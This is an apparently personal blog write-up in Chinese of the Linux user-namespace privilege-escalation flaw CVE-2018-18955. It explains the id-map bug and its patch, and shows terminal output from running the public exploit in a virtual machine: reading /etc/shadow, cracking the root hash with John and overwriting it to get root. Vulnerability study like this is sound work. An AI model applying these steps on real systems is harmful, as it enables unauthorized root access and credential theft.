CVE-2018-18955user_name_space空间越权漏洞

https://www.exploit-db.com/exploits/45886

漏洞原理

大概是在用户命名空间中NS1创建root用户,然后创建嵌套命名空间NS2。
在NS2中映射大于5个id

两个原因造成越权。
1.sort_idmaps会复制forward map的映射队列到reverse map中。4.15-4.19之间的某些内核代码。会在sort_idmaps排序之后进行内核id和用户id的转换。但是只转换了forward map 。 reverse map 没有变化。
2. from_kuid在查询id的过程中,会寻找map->reverse的map映射关系。如果,uid_gid_extent中first成员等于lower_first。那么返回的id将会是原本传进来的id. 没有修改的reverse map 中的值还是用户态传递来的0 到0 的映射,所以发生了越权。

nobody@lier-virtual-machine:~/work/exploit/45886/45886$ id
uid=65534(nobody) gid=65534(nogroup)=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(libvirtd)
nobody@lier-virtual-machine:~/work/exploit/45886/45886$ head -n1 /etc/shadow
root:$6$doAc1Cla$O3pPRDFioQj3DKOMr/6djJFI63WZ7KnEpxvC8JWaKLcrPV30RPWfFMwuDdeH/Gn0wuZ/gS9qsqtemBF8Ry6Yf1:18180:0:99999:7:::
nobody@lier-virtual-machine:~/work/exploit/45886/45886$ id
uid=65534(nobody) gid=65534(nogroup)=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(libvirtd)

理论上密码只要不强,可以通过工具碰撞出root账户的密码。其实获得的账号的权限并不完整,没有完全的root权限。

我用john工具试了下

n-1.9.0/run$ ./john password.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
bme314           (root)
1g 0:00:00:15 100% 2/3 0.06578g/s 426.9p/s 426.9c/s 426.9C/s !@#$%..andrew
Use the "--show" option to display all of the cracked passwords reliably
Session completed

/run$ cat john.pot 
$6$doAc1Cla$O3pPRDFioQj3DKOMr/6djJFI63WZ7KnEpxvC8JWaKLcrPV30RPWfFMwuDdeH/Gn0wuZ/gS9qsqtemBF8Ry6Yf1:xxxxxx
run$ 

跑是跑出来了,不过一般情况下需要一个强大的字典,不然没啥用。

突然想到另一种利用方式,这里可能有写 /etc/shawdom的权限,试了下,果然可以。
原来的密码hash

45886$ sudo cat /etc/shadow
root:$6$Qk2IaudC$3Aj3MJ0s22dfxc4cXMI6AOGhXa639.flIwZNXITnqbQSiZ6B9Dc6LWIFB3f3Pd6EUvW/CBMyGzDjGgtHfPMCB1:18372:0:99999:7:::

nest ns

nobody@lier-virtual-machine:~/work/exploit/45886/45886$ vim /etc/shadow
root:$6$vbeZpmCt$4AO8Tg2HRZEYI3aZKuyi4qjVoZwCZ5HsBPPd1/B.ykxnBG3el1JladH1/KMPJjd.dwCK6y7bD8hVCENGXCQJg1:18372:0:99999:7:::

返回普通用户

lier@lier-virtual-machine:~/work/exploit/45886/45886$ sudo cat /etc/shadow
root:$6$vbeZpmCt$4AO8Tg2HRZEYI3aZKuyi4qjVoZwCZ5HsBPPd1/B.ykxnBG3el1JladH1/KMPJjd.dwCK6y7bD8hVCENGXCQJg1:18372:0:99999:7:::
daemon:*:16911:0:99999:7:::
bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::

可以看到修改成功。
su root
切换用户,发现只要知道对应的密码,我们可以任意修改root用户的密码。成功执行root账号切换。

root@lier-virtual-machine:/home/lier/work/exploit/45886/45886# 

关于user namespace

在这里插入图片描述
从整个漏洞的过程,我们可以猜测到整个user namespce权限管理过程。
嵌套名字空间,由于逆向追溯的过程和查询过程出现的缺陷,造成了权限突破。
我们清楚的看到uns通过vfs, 映射父进程uid到子uns的过程。并且对于文件权限的查询,是通过映射过程的逆过程反向查父usn的相应uid。对于理解user namespace帮助很大。

其实这里映射了很大的docker漏洞,因为dockers利用的就是user namespace. 如果我们在内核为4.15–4.19的中使用docker, 那么很可能通过嵌套构造user namespace直接进行权限提升。不过因为其他namespace空间的限制,不一定会有很大的作用。

补丁:
把追溯id的逻辑放在了复制排序前,这样forward和reverse就都经过了id追溯,可以找到正确的父命名空间id。

参考:
https://www.freebuf.com/vuls/197122.html
https://www.cnblogs.com/likaiming/p/10816529.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值